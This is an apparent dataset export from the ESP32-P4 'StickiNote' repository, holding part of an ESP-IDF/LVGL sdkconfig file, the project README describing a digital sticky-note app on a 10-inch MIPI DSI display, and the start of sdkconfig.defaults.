# CONFIG_LV_USE_BUILTIN_MALLOC is not set
CONFIG_LV_USE_CLIB_MALLOC=y
# CONFIG_LV_USE_MICROPYTHON_MALLOC is not set
# CONFIG_LV_USE_RTTHREAD_MALLOC is not set
# CONFIG_LV_USE_CUSTOM_MALLOC is not set
# CONFIG_LV_USE_BUILTIN_STRING is not set
CONFIG_LV_USE_CLIB_STRING=y
# CONFIG_LV_USE_CUSTOM_STRING is not set
# CONFIG_LV_USE_BUILTIN_SPRINTF is not set
CONFIG_LV_USE_CLIB_SPRINTF=y
# CONFIG_LV_USE_CUSTOM_SPRINTF is not set
# end of Memory Settings
#
# HAL Settings
#
CONFIG_LV_DEF_REFR_PERIOD=15
CONFIG_LV_DPI_DEF=130
# end of HAL Settings
#
# Operating System (OS)
#
# CONFIG_LV_OS_NONE is not set
# CONFIG_LV_OS_PTHREAD is not set
CONFIG_LV_OS_FREERTOS=y
# CONFIG_LV_OS_CMSIS_RTOS2 is not set
# CONFIG_LV_OS_RTTHREAD is not set
# CONFIG_LV_OS_WINDOWS is not set
# CONFIG_LV_OS_MQX is not set
# CONFIG_LV_OS_CUSTOM is not set
CONFIG_LV_USE_OS=2
CONFIG_LV_USE_FREERTOS_TASK_NOTIFY=y
# end of Operating System (OS)
#
# Rendering Configuration
#
CONFIG_LV_DRAW_BUF_STRIDE_ALIGN=1
CONFIG_LV_DRAW_BUF_ALIGN=4
CONFIG_LV_DRAW_LAYER_SIMPLE_BUF_SIZE=24576
CONFIG_LV_DRAW_THREAD_STACK_SIZE=8192
CONFIG_LV_USE_DRAW_SW=y
CONFIG_LV_DRAW_SW_SUPPORT_RGB565=y
CONFIG_LV_DRAW_SW_SUPPORT_RGB565A8=y
CONFIG_LV_DRAW_SW_SUPPORT_RGB888=y
CONFIG_LV_DRAW_SW_SUPPORT_XRGB8888=y
CONFIG_LV_DRAW_SW_SUPPORT_ARGB8888=y
CONFIG_LV_DRAW_SW_SUPPORT_L8=y
CONFIG_LV_DRAW_SW_SUPPORT_AL88=y
CONFIG_LV_DRAW_SW_SUPPORT_A8=y
CONFIG_LV_DRAW_SW_SUPPORT_I1=y
CONFIG_LV_DRAW_SW_DRAW_UNIT_CNT=2
# CONFIG_LV_USE_DRAW_ARM2D_SYNC is not set
# CONFIG_LV_USE_NATIVE_HELIUM_ASM is not set
CONFIG_LV_DRAW_SW_COMPLEX=y
# CONFIG_LV_USE_DRAW_SW_COMPLEX_GRADIENTS is not set
CONFIG_LV_DRAW_SW_SHADOW_CACHE_SIZE=0
CONFIG_LV_DRAW_SW_CIRCLE_CACHE_SIZE=4
CONFIG_LV_DRAW_SW_ASM_NONE=y
# CONFIG_LV_DRAW_SW_ASM_NEON is not set
# CONFIG_LV_DRAW_SW_ASM_HELIUM is not set
# CONFIG_LV_DRAW_SW_ASM_CUSTOM is not set
CONFIG_LV_USE_DRAW_SW_ASM=0
# CONFIG_LV_USE_DRAW_VGLITE is not set
# CONFIG_LV_USE_PXP is not set
# CONFIG_LV_USE_DRAW_DAVE2D is not set
# CONFIG_LV_USE_DRAW_SDL is not set
# CONFIG_LV_USE_DRAW_VG_LITE is not set
# CONFIG_LV_USE_VECTOR_GRAPHIC is not set
# end of Rendering Configuration
#
# Feature Configuration
#
#
# Logging
#
# CONFIG_LV_USE_LOG is not set
# end of Logging
#
# Asserts
#
CONFIG_LV_USE_ASSERT_NULL=y
CONFIG_LV_USE_ASSERT_MALLOC=y
# CONFIG_LV_USE_ASSERT_STYLE is not set
# CONFIG_LV_USE_ASSERT_MEM_INTEGRITY is not set
# CONFIG_LV_USE_ASSERT_OBJ is not set
CONFIG_LV_ASSERT_HANDLER_INCLUDE="assert.h"
# end of Asserts
#
# Debug
#
# CONFIG_LV_USE_REFR_DEBUG is not set
# CONFIG_LV_USE_LAYER_DEBUG is not set
# CONFIG_LV_USE_PARALLEL_DRAW_DEBUG is not set
# end of Debug
#
# Others
#
# CONFIG_LV_ENABLE_GLOBAL_CUSTOM is not set
CONFIG_LV_CACHE_DEF_SIZE=0
CONFIG_LV_IMAGE_HEADER_CACHE_DEF_CNT=0
CONFIG_LV_GRADIENT_MAX_STOPS=2
CONFIG_LV_COLOR_MIX_ROUND_OFS=128
# CONFIG_LV_OBJ_STYLE_CACHE is not set
# CONFIG_LV_USE_OBJ_ID is not set
# CONFIG_LV_USE_OBJ_PROPERTY is not set
# end of Others
# end of Feature Configuration
#
# Compiler Settings
#
# CONFIG_LV_BIG_ENDIAN_SYSTEM is not set
CONFIG_LV_ATTRIBUTE_MEM_ALIGN_SIZE=1
CONFIG_LV_ATTRIBUTE_FAST_MEM_USE_IRAM=y
# CONFIG_LV_USE_FLOAT is not set
# CONFIG_LV_USE_MATRIX is not set
# CONFIG_LV_USE_PRIVATE_API is not set
# end of Compiler Settings
#
# Font Usage
#
#
# Enable built-in fonts
#
# CONFIG_LV_FONT_MONTSERRAT_8 is not set
# CONFIG_LV_FONT_MONTSERRAT_10 is not set
CONFIG_LV_FONT_MONTSERRAT_12=y
CONFIG_LV_FONT_MONTSERRAT_14=y
CONFIG_LV_FONT_MONTSERRAT_16=y
CONFIG_LV_FONT_MONTSERRAT_18=y
CONFIG_LV_FONT_MONTSERRAT_20=y
CONFIG_LV_FONT_MONTSERRAT_22=y
CONFIG_LV_FONT_MONTSERRAT_24=y
CONFIG_LV_FONT_MONTSERRAT_26=y
# CONFIG_LV_FONT_MONTSERRAT_28 is not set
# CONFIG_LV_FONT_MONTSERRAT_30 is not set
# CONFIG_LV_FONT_MONTSERRAT_32 is not set
# CONFIG_LV_FONT_MONTSERRAT_34 is not set
# CONFIG_LV_FONT_MONTSERRAT_36 is not set
# CONFIG_LV_FONT_MONTSERRAT_38 is not set
# CONFIG_LV_FONT_MONTSERRAT_40 is not set
# CONFIG_LV_FONT_MONTSERRAT_42 is not set
# CONFIG_LV_FONT_MONTSERRAT_44 is not set
# CONFIG_LV_FONT_MONTSERRAT_46 is not set
# CONFIG_LV_FONT_MONTSERRAT_48 is not set
# CONFIG_LV_FONT_MONTSERRAT_28_COMPRESSED is not set
# CONFIG_LV_FONT_DEJAVU_16_PERSIAN_HEBREW is not set
# CONFIG_LV_FONT_SIMSUN_14_CJK is not set
# CONFIG_LV_FONT_SIMSUN_16_CJK is not set
# CONFIG_LV_FONT_UNSCII_8 is not set
# CONFIG_LV_FONT_UNSCII_16 is not set
# end of Enable built-in fonts
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_8 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_10 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_12 is not set
CONFIG_LV_FONT_DEFAULT_MONTSERRAT_14=y
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_16 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_18 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_20 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_22 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_24 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_26 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_28 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_30 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_32 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_34 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_36 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_38 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_40 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_42 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_44 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_46 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_48 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_28_COMPRESSED is not set
# CONFIG_LV_FONT_DEFAULT_DEJAVU_16_PERSIAN_HEBREW is not set
# CONFIG_LV_FONT_DEFAULT_SIMSUN_14_CJK is not set
# CONFIG_LV_FONT_DEFAULT_SIMSUN_16_CJK is not set
# CONFIG_LV_FONT_DEFAULT_UNSCII_8 is not set
# CONFIG_LV_FONT_DEFAULT_UNSCII_16 is not set
# CONFIG_LV_FONT_FMT_TXT_LARGE is not set
CONFIG_LV_USE_FONT_COMPRESSED=y
CONFIG_LV_USE_FONT_PLACEHOLDER=y
# end of Font Usage
#
# Text Settings
#
CONFIG_LV_TXT_ENC_UTF8=y
# CONFIG_LV_TXT_ENC_ASCII is not set
CONFIG_LV_TXT_BREAK_CHARS=" ,.;:-_"
CONFIG_LV_TXT_LINE_BREAK_LONG_LEN=0
# CONFIG_LV_USE_BIDI is not set
# CONFIG_LV_USE_ARABIC_PERSIAN_CHARS is not set
# end of Text Settings
#
# Widget Usage
#
CONFIG_LV_WIDGETS_HAS_DEFAULT_VALUE=y
CONFIG_LV_USE_ANIMIMG=y
CONFIG_LV_USE_ARC=y
CONFIG_LV_USE_BAR=y
CONFIG_LV_USE_BUTTON=y
CONFIG_LV_USE_BUTTONMATRIX=y
CONFIG_LV_USE_CALENDAR=y
# CONFIG_LV_CALENDAR_WEEK_STARTS_MONDAY is not set
CONFIG_LV_USE_CALENDAR_HEADER_ARROW=y
CONFIG_LV_USE_CALENDAR_HEADER_DROPDOWN=y
# CONFIG_LV_USE_CALENDAR_CHINESE is not set
CONFIG_LV_USE_CANVAS=y
CONFIG_LV_USE_CHART=y
CONFIG_LV_USE_CHECKBOX=y
CONFIG_LV_USE_DROPDOWN=y
CONFIG_LV_USE_IMAGE=y
CONFIG_LV_USE_IMAGEBUTTON=y
CONFIG_LV_USE_KEYBOARD=y
CONFIG_LV_USE_LABEL=y
CONFIG_LV_LABEL_TEXT_SELECTION=y
CONFIG_LV_LABEL_LONG_TXT_HINT=y
CONFIG_LV_LABEL_WAIT_CHAR_COUNT=3
CONFIG_LV_USE_LED=y
CONFIG_LV_USE_LINE=y
CONFIG_LV_USE_LIST=y
CONFIG_LV_USE_MENU=y
CONFIG_LV_USE_MSGBOX=y
CONFIG_LV_USE_ROLLER=y
CONFIG_LV_USE_SCALE=y
CONFIG_LV_USE_SLIDER=y
CONFIG_LV_USE_SPAN=y
CONFIG_LV_SPAN_SNIPPET_STACK_SIZE=64
CONFIG_LV_USE_SPINBOX=y
CONFIG_LV_USE_SPINNER=y
CONFIG_LV_USE_SWITCH=y
CONFIG_LV_USE_TEXTAREA=y
CONFIG_LV_TEXTAREA_DEF_PWD_SHOW_TIME=1500
CONFIG_LV_USE_TABLE=y
CONFIG_LV_USE_TABVIEW=y
CONFIG_LV_USE_TILEVIEW=y
CONFIG_LV_USE_WIN=y
# end of Widget Usage
#
# Themes
#
CONFIG_LV_USE_THEME_DEFAULT=y
# CONFIG_LV_THEME_DEFAULT_DARK is not set
CONFIG_LV_THEME_DEFAULT_GROW=y
CONFIG_LV_THEME_DEFAULT_TRANSITION_TIME=80
CONFIG_LV_USE_THEME_SIMPLE=y
# CONFIG_LV_USE_THEME_MONO is not set
# end of Themes
#
# Layouts
#
CONFIG_LV_USE_FLEX=y
CONFIG_LV_USE_GRID=y
# end of Layouts
#
# 3rd Party Libraries
#
CONFIG_LV_FS_DEFAULT_DRIVE_LETTER=0
# CONFIG_LV_USE_FS_STDIO is not set
# CONFIG_LV_USE_FS_POSIX is not set
# CONFIG_LV_USE_FS_WIN32 is not set
# CONFIG_LV_USE_FS_FATFS is not set
# CONFIG_LV_USE_FS_MEMFS is not set
# CONFIG_LV_USE_FS_LITTLEFS is not set
# CONFIG_LV_USE_FS_ARDUINO_ESP_LITTLEFS is not set
# CONFIG_LV_USE_FS_ARDUINO_SD is not set
# CONFIG_LV_USE_LODEPNG is not set
# CONFIG_LV_USE_LIBPNG is not set
# CONFIG_LV_USE_BMP is not set
# CONFIG_LV_USE_TJPGD is not set
# CONFIG_LV_USE_LIBJPEG_TURBO is not set
# CONFIG_LV_USE_GIF is not set
# CONFIG_LV_BIN_DECODER_RAM_LOAD is not set
# CONFIG_LV_USE_RLE is not set
# CONFIG_LV_USE_QRCODE is not set
# CONFIG_LV_USE_BARCODE is not set
# CONFIG_LV_USE_FREETYPE is not set
# CONFIG_LV_USE_TINY_TTF is not set
# CONFIG_LV_USE_RLOTTIE is not set
# CONFIG_LV_USE_THORVG is not set
# CONFIG_LV_USE_LZ4 is not set
# CONFIG_LV_USE_FFMPEG is not set
# end of 3rd Party Libraries
#
# Others
#
# CONFIG_LV_USE_SNAPSHOT is not set
CONFIG_LV_USE_SYSMON=y
CONFIG_LV_USE_PERF_MONITOR=y
# CONFIG_LV_PERF_MONITOR_ALIGN_TOP_LEFT is not set
# CONFIG_LV_PERF_MONITOR_ALIGN_TOP_MID is not set
# CONFIG_LV_PERF_MONITOR_ALIGN_TOP_RIGHT is not set
# CONFIG_LV_PERF_MONITOR_ALIGN_BOTTOM_LEFT is not set
# CONFIG_LV_PERF_MONITOR_ALIGN_BOTTOM_MID is not set
CONFIG_LV_PERF_MONITOR_ALIGN_BOTTOM_RIGHT=y
# CONFIG_LV_PERF_MONITOR_ALIGN_LEFT_MID is not set
# CONFIG_LV_PERF_MONITOR_ALIGN_RIGHT_MID is not set
# CONFIG_LV_PERF_MONITOR_ALIGN_CENTER is not set
# CONFIG_LV_USE_PERF_MONITOR_LOG_MODE is not set
# CONFIG_LV_USE_PROFILER is not set
# CONFIG_LV_USE_MONKEY is not set
# CONFIG_LV_USE_GRIDNAV is not set
# CONFIG_LV_USE_FRAGMENT is not set
CONFIG_LV_USE_IMGFONT=y
CONFIG_LV_USE_OBSERVER=y
# CONFIG_LV_USE_IME_PINYIN is not set
# CONFIG_LV_USE_FILE_EXPLORER is not set
CONFIG_LVGL_VERSION_MAJOR=9
CONFIG_LVGL_VERSION_MINOR=2
CONFIG_LVGL_VERSION_PATCH=2
# end of Others
#
# Devices
#
# CONFIG_LV_USE_SDL is not set
# CONFIG_LV_USE_X11 is not set
# CONFIG_LV_USE_WAYLAND is not set
# CONFIG_LV_USE_LINUX_FBDEV is not set
# CONFIG_LV_USE_NUTTX is not set
# CONFIG_LV_USE_LINUX_DRM is not set
# CONFIG_LV_USE_TFT_ESPI is not set
# CONFIG_LV_USE_EVDEV is not set
# CONFIG_LV_USE_LIBINPUT is not set
# CONFIG_LV_USE_ST7735 is not set
# CONFIG_LV_USE_ST7789 is not set
# CONFIG_LV_USE_ST7796 is not set
# CONFIG_LV_USE_ILI9341 is not set
# CONFIG_LV_USE_GENERIC_MIPI is not set
# CONFIG_LV_USE_RENESAS_GLCDC is not set
# CONFIG_LV_USE_OPENGLES is not set
# CONFIG_LV_USE_QNX is not set
# end of Devices
#
# Examples
#
CONFIG_LV_BUILD_EXAMPLES=y
# end of Examples
#
# Demos
#
CONFIG_LV_USE_DEMO_WIDGETS=y
# CONFIG_LV_USE_DEMO_KEYPAD_AND_ENCODER is not set
CONFIG_LV_USE_DEMO_BENCHMARK=y
CONFIG_LV_USE_DEMO_RENDER=y
CONFIG_LV_USE_DEMO_SCROLL=y
CONFIG_LV_USE_DEMO_STRESS=y
CONFIG_LV_USE_DEMO_TRANSFORM=y
CONFIG_LV_USE_DEMO_MUSIC=y
# CONFIG_LV_DEMO_MUSIC_SQUARE is not set
# CONFIG_LV_DEMO_MUSIC_LANDSCAPE is not set
# CONFIG_LV_DEMO_MUSIC_ROUND is not set
# CONFIG_LV_DEMO_MUSIC_LARGE is not set
CONFIG_LV_DEMO_MUSIC_AUTO_PLAY=y
CONFIG_LV_USE_DEMO_FLEX_LAYOUT=y
CONFIG_LV_USE_DEMO_MULTILANG=y
# end of Demos
# end of LVGL configuration
#
# Board Support Package(ESP32-P4)
#
CONFIG_BSP_ERROR_CHECK=y
#
# I2C
#
CONFIG_BSP_I2C_NUM=1
CONFIG_BSP_I2C_FAST_MODE=y
CONFIG_BSP_I2C_CLK_SPEED_HZ=400000
# end of I2C
#
# I2S
#
CONFIG_BSP_I2S_NUM=1
# end of I2S
#
# uSD card - Virtual File System
#
# CONFIG_BSP_SD_FORMAT_ON_MOUNT_FAIL is not set
CONFIG_BSP_SD_MOUNT_POINT="/sdcard"
# end of uSD card - Virtual File System
#
# SPIFFS - Virtual File System
#
# CONFIG_BSP_SPIFFS_FORMAT_ON_MOUNT_FAIL is not set
CONFIG_BSP_SPIFFS_MOUNT_POINT="/spiffs"
CONFIG_BSP_SPIFFS_PARTITION_LABEL="storage"
CONFIG_BSP_SPIFFS_MAX_FILES=5
# end of SPIFFS - Virtual File System
#
# Display
#
CONFIG_BSP_LCD_DPI_BUFFER_NUMS=1
CONFIG_BSP_DISPLAY_BRIGHTNESS_LEDC_CH=1
CONFIG_BSP_LCD_COLOR_FORMAT_RGB565=y
# CONFIG_BSP_LCD_COLOR_FORMAT_RGB888 is not set
CONFIG_BSP_LCD_TYPE_800_1280_10_1_INCH=y
# CONFIG_BSP_LCD_TYPE_800_1280_10_1_INCH_A is not set
# CONFIG_BSP_LCD_TYPE_800_1280_8_INCH_A is not set
# CONFIG_BSP_LCD_TYPE_720_1280_7_INCH_A is not set
# CONFIG_BSP_LCD_TYPE_480_640_2_8_INCH is not set
# CONFIG_BSP_LCD_TYPE_800_800_3_4_INCH_C is not set
# CONFIG_BSP_LCD_TYPE_720_720_4_INCH_C is not set
# CONFIG_BSP_LCD_TYPE_480_800_4_INCH is not set
# CONFIG_BSP_LCD_TYPE_720_1280_5_INCH_D is not set
# CONFIG_BSP_LCD_TYPE_720_1560_6_25_INCH is not set
# CONFIG_BSP_LCD_TYPE_1024_600_5_INCH_C is not set
# CONFIG_BSP_LCD_TYPE_1024_600_7_INCH_C is not set
# CONFIG_BSP_LCD_TYPE_400_1280_7_9_INCH is not set
# CONFIG_BSP_LCD_TYPE_1280_800_7_INCH_E is not set
# CONFIG_BSP_LCD_TYPE_1280_800_8_INCH_C is not set
# CONFIG_BSP_LCD_TYPE_1280_800_10_1_INCH_C is not set
# CONFIG_BSP_LCD_TYPE_480_1920_8_8_INCH is not set
# CONFIG_BSP_LCD_TYPE_320_1480_11_9_INCH is not set
CONFIG_BSP_LCD_MIPI_DSI_LANE_BITRATE_MBPS=1500
# end of Display
# end of Board Support Package(ESP32-P4)
# end of Component config
CONFIG_IDF_EXPERIMENTAL_FEATURES=y
# Deprecated options for backward compatibility
# CONFIG_APP_BUILD_TYPE_ELF_RAM is not set
# CONFIG_NO_BLOBS is not set
# CONFIG_LOG_BOOTLOADER_LEVEL_NONE is not set
# CONFIG_LOG_BOOTLOADER_LEVEL_ERROR is not set
# CONFIG_LOG_BOOTLOADER_LEVEL_WARN is not set
CONFIG_LOG_BOOTLOADER_LEVEL_INFO=y
# CONFIG_LOG_BOOTLOADER_LEVEL_DEBUG is not set
# CONFIG_LOG_BOOTLOADER_LEVEL_VERBOSE is not set
CONFIG_LOG_BOOTLOADER_LEVEL=3
# CONFIG_APP_ROLLBACK_ENABLE is not set
# CONFIG_FLASH_ENCRYPTION_ENABLED is not set
CONFIG_FLASHMODE_QIO=y
# CONFIG_FLASHMODE_QOUT is not set
# CONFIG_FLASHMODE_DIO is not set
# CONFIG_FLASHMODE_DOUT is not set
CONFIG_MONITOR_BAUD=115200
# CONFIG_OPTIMIZATION_LEVEL_DEBUG is not set
# CONFIG_COMPILER_OPTIMIZATION_LEVEL_DEBUG is not set
# CONFIG_COMPILER_OPTIMIZATION_DEFAULT is not set
# CONFIG_OPTIMIZATION_LEVEL_RELEASE is not set
# CONFIG_COMPILER_OPTIMIZATION_LEVEL_RELEASE is not set
CONFIG_OPTIMIZATION_ASSERTIONS_ENABLED=y
# CONFIG_OPTIMIZATION_ASSERTIONS_SILENT is not set
# CONFIG_OPTIMIZATION_ASSERTIONS_DISABLED is not set
CONFIG_OPTIMIZATION_ASSERTION_LEVEL=2
# CONFIG_CXX_EXCEPTIONS is not set
CONFIG_STACK_CHECK_NONE=y
# CONFIG_STACK_CHECK_NORM is not set
# CONFIG_STACK_CHECK_STRONG is not set
# CONFIG_STACK_CHECK_ALL is not set
# CONFIG_WARN_WRITE_STRINGS is not set
# CONFIG_ESP32_APPTRACE_DEST_TRAX is not set
CONFIG_ESP32_APPTRACE_DEST_NONE=y
CONFIG_ESP32_APPTRACE_LOCK_ENABLE=y
# CONFIG_MCPWM_ISR_IN_IRAM is not set
# CONFIG_EVENT_LOOP_PROFILING is not set
CONFIG_POST_EVENTS_FROM_ISR=y
CONFIG_POST_EVENTS_FROM_IRAM_ISR=y
CONFIG_GDBSTUB_SUPPORT_TASKS=y
CONFIG_GDBSTUB_MAX_TASKS=32
# CONFIG_OTA_ALLOW_HTTP is not set
CONFIG_SYSTEM_EVENT_QUEUE_SIZE=32
CONFIG_SYSTEM_EVENT_TASK_STACK_SIZE=2304
CONFIG_MAIN_TASK_STACK_SIZE=12288
CONFIG_CONSOLE_UART_DEFAULT=y
# CONFIG_CONSOLE_UART_CUSTOM is not set
# CONFIG_CONSOLE_UART_NONE is not set
# CONFIG_ESP_CONSOLE_UART_NONE is not set
CONFIG_CONSOLE_UART=y
CONFIG_CONSOLE_UART_NUM=0
CONFIG_CONSOLE_UART_BAUDRATE=115200
CONFIG_INT_WDT=y
CONFIG_INT_WDT_TIMEOUT_MS=300
CONFIG_INT_WDT_CHECK_CPU1=y
CONFIG_TASK_WDT=y
CONFIG_ESP_TASK_WDT=y
# CONFIG_TASK_WDT_PANIC is not set
CONFIG_TASK_WDT_TIMEOUT_S=5
CONFIG_TASK_WDT_CHECK_IDLE_TASK_CPU0=y
CONFIG_TASK_WDT_CHECK_IDLE_TASK_CPU1=y
# CONFIG_ESP32_DEBUG_STUBS_ENABLE is not set
CONFIG_BROWNOUT_DET=y
CONFIG_BROWNOUT_DET_LVL_SEL_7=y
# CONFIG_BROWNOUT_DET_LVL_SEL_6 is not set
# CONFIG_BROWNOUT_DET_LVL_SEL_5 is not set
CONFIG_BROWNOUT_DET_LVL=7
CONFIG_IPC_TASK_STACK_SIZE=1024
CONFIG_TIMER_TASK_STACK_SIZE=3584
# CONFIG_ESP32_ENABLE_COREDUMP_TO_FLASH is not set
# CONFIG_ESP32_ENABLE_COREDUMP_TO_UART is not set
CONFIG_ESP32_ENABLE_COREDUMP_TO_NONE=y
CONFIG_TIMER_TASK_PRIORITY=1
CONFIG_TIMER_TASK_STACK_DEPTH=2048
CONFIG_TIMER_QUEUE_LENGTH=10
# CONFIG_ENABLE_STATIC_TASK_CLEAN_UP_HOOK is not set
CONFIG_SPIRAM_ALLOW_STACK_EXTERNAL_MEMORY=y
# CONFIG_HAL_ASSERTION_SILIENT is not set
# CONFIG_L2_TO_L3_COPY is not set
CONFIG_ESP_GRATUITOUS_ARP=y
CONFIG_GARP_TMR_INTERVAL=60
CONFIG_TCPIP_RECVMBOX_SIZE=32
CONFIG_TCP_MAXRTX=12
CONFIG_TCP_SYNMAXRTX=12
CONFIG_TCP_MSS=1440
CONFIG_TCP_MSL=60000
CONFIG_TCP_SND_BUF_DEFAULT=5760
CONFIG_TCP_WND_DEFAULT=5760
CONFIG_TCP_RECVMBOX_SIZE=6
CONFIG_TCP_QUEUE_OOSEQ=y
CONFIG_TCP_OVERSIZE_MSS=y
# CONFIG_TCP_OVERSIZE_QUARTER_MSS is not set
# CONFIG_TCP_OVERSIZE_DISABLE is not set
CONFIG_UDP_RECVMBOX_SIZE=6
CONFIG_TCPIP_TASK_STACK_SIZE=3072
CONFIG_TCPIP_TASK_AFFINITY_NO_AFFINITY=y
# CONFIG_TCPIP_TASK_AFFINITY_CPU0 is not set
# CONFIG_TCPIP_TASK_AFFINITY_CPU1 is not set
CONFIG_TCPIP_TASK_AFFINITY=0x7FFFFFFF
# CONFIG_PPP_SUPPORT is not set
CONFIG_ESP32_PTHREAD_TASK_PRIO_DEFAULT=5
CONFIG_ESP32_PTHREAD_TASK_STACK_SIZE_DEFAULT=3072
CONFIG_ESP32_PTHREAD_STACK_MIN=768
CONFIG_ESP32_DEFAULT_PTHREAD_CORE_NO_AFFINITY=y
# CONFIG_ESP32_DEFAULT_PTHREAD_CORE_0 is not set
# CONFIG_ESP32_DEFAULT_PTHREAD_CORE_1 is not set
CONFIG_ESP32_PTHREAD_TASK_CORE_DEFAULT=-1
CONFIG_ESP32_PTHREAD_TASK_NAME_DEFAULT="pthread"
CONFIG_SPI_FLASH_WRITING_DANGEROUS_REGIONS_ABORTS=y
# CONFIG_SPI_FLASH_WRITING_DANGEROUS_REGIONS_FAILS is not set
# CONFIG_SPI_FLASH_WRITING_DANGEROUS_REGIONS_ALLOWED is not set
CONFIG_SUPPRESS_SELECT_DEBUG_OUTPUT=y
CONFIG_SUPPORT_TERMIOS=y
CONFIG_SEMIHOSTFS_MAX_MOUNT_POINTS=1
# End of deprecated options
| 82,172
|
sdkconfig
|
en
|
unknown
|
unknown
|
{}
|
0
|
{}
|
|
0015/StickiNote
|
Readme.md
|
## **StickiNote – ESP32-P4 Digital Sticky Notes App**
<div align="center">
</div>
**StickiNote** is a **modern, e-paper-styled digital sticky note app** designed specifically for high-performance **ESP32-P4-based embedded systems**. This project leverages the **fast clock speed of the ESP32-P4** and the **MIPI DSI interface for a 10-inch display**, ensuring smooth animations, fluid UI interactions, and an optimal user experience.
---
## **Features**
**Designed for ESP32-P4** – Optimized for **ESP32-P4’s high-performance CPU and memory**.
**MIPI DSI 10-Inch Display Support** – **Hardware-accelerated** rendering for large screens.
**Digital Sticky Notes** – Add, move, resize, and edit post-its effortlessly.
**Persistent Storage (NVS)** – Saves notes as JSON in ESP32's flash memory.
**Animated Splash Screen** – Smooth startup animation for an engaging experience.
**E-Paper-Like UI** – Minimalist notebook-style background.
**Floating Action Button (FAB)** – Quickly create new sticky notes.
**Keyboard Integration** – Pop-up keyboard for text input on sticky notes.
**Touch & Drag Support** – Move and resize post-its with intuitive gestures.
**Low Memory Consumption** – Optimized **LVGL v9 implementation** for high FPS.
[](https://youtu.be/b1jTc1RyG3s)
*(Waveshare ESP32-P4 Nano & 10-Inch DSI Display)*
---
## **⚡ Why ESP32-P4 & MIPI DSI?**
This project is designed **exclusively for ESP32-P4**, taking advantage of:
**Higher Clock Speed** – Ensures smooth animations and fast UI updates.
**MIPI DSI Interface** – Supports **10-inch high-resolution displays** with optimal performance.
**Hardware Acceleration** – Optimized graphics rendering for fluid user interactions.
⚠️ This project is **not** designed for standard ESP32 boards._ Using **ESP32-P4 is essential** to achieve the required performance levels.
---
## **Getting Started**
### **Requirements**
- **ESP32-P4** (Fast clock + MIPI DSI support)
- **10-inch MIPI DSI Display**
- **ESP-IDF v5.3+**
- **LVGL v9**
---
## **Dependencies**
This project requires the following **ESP-IDF components**:
```yaml
dependencies:
lvgl/lvgl:
version: 9.2.*
public: true
waveshare/esp_lcd_jd9365_10_1: ^1.0.1
waveshare/esp32_p4_nano: ^1.1.5
```
💡 **Ensure you have these dependencies installed in your ESP-IDF project before building.**
---
## **How to Use**
**Create a Note** – Tap the **FAB button** to create a sticky note.
**Edit a Note** – Long-press on a note to open the **keyboard**.
**Move a Note** – Drag and drop notes anywhere on the screen.
**Resize a Note** – Tap the **corner triangle** and drag to resize.
**Delete a Note** – Tap the `(X)` button inside a note.
**Persistence** – All notes are saved automatically and restored on reboot.
---
## **Project Structure**
```
StickiNote/
│── main/
│ ├── include/ # header files
│ ├── main.cpp # App entry point
│ ├── LVGL_WidgetManager.cpp # Manages UI widgets
│ ├── SplashScreen.cpp # Animated splash screen logic
│ ├── NVSManager.cpp # Handles saving/loading notes in NVS
│ ├── ui_resources/ # UI assets (icons, images, fonts)
│ ├── CMakeLists.txt # Build configuration
│── CMakeLists.txt # Project build file
│── README.md # Documentation
│── LICENSE # Open-source license (MIT recommended)
```
---
## **Contributing**
**Fork the repo** and submit pull requests with new features or bug fixes.
**Report issues** via the [GitHub Issues](https://github.com/0015/StickiNote/issues) tab.
**Feature Requests** – Suggest improvements via discussions!
---
## **License**
This project is **open-source** under the **MIT License**. Feel free to use, modify, and distribute it!
---
## **Support & Community**
💬 Have questions or ideas? Join our discussions!
📢 **Follow us on [YouTube](https://youtube.com/ThatProject) for tutorials!**
| 4,136
|
Readme
|
md
|
en
|
markdown
|
text
|
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|
1
|
{"qsc_doc_frac_chars_replacement_symbols": 0, "qsc_doc_entropy_unigram": 0, "qsc_doc_frac_chars_top_2grams": 0, "qsc_doc_frac_chars_top_3grams": 0, "qsc_doc_frac_chars_top_4grams": 0, "qsc_doc_frac_chars_dupe_5grams": 0, "qsc_doc_frac_chars_dupe_6grams": 0, "qsc_doc_frac_chars_dupe_7grams": 0, "qsc_doc_frac_chars_dupe_8grams": 0, "qsc_doc_frac_chars_dupe_9grams": 0, "qsc_doc_frac_chars_dupe_10grams": 0, "qsc_doc_frac_chars_dupe_lines": 0, "qsc_doc_frac_lines_dupe_lines": 0, "qsc_doc_frac_lines_end_with_readmore": 0, "qsc_doc_frac_lines_start_with_bullet": 0, "qsc_doc_frac_words_all_caps": 0, "qsc_doc_mean_word_length": 0, "qsc_doc_num_chars": 0, "qsc_doc_num_lines": 0, "qsc_doc_num_sentences": 0, "qsc_doc_num_words": 0, "qsc_doc_frac_chars_hex_words": 0, "qsc_doc_frac_chars_hyperlink_html_tag": 0, "qsc_doc_frac_chars_alphabet": 0, "qsc_doc_frac_chars_digital": 0, "qsc_doc_frac_chars_whitespace": 0}
|
0015/StickiNote
|
sdkconfig.defaults
|
# This file was generated using idf.py save-defconfig. It can be edited manually.
# Espressif IoT Development Framework (ESP-IDF) 5.4.0 Project Minimal Configuration
#
CONFIG_IDF_TARGET="esp32p4"
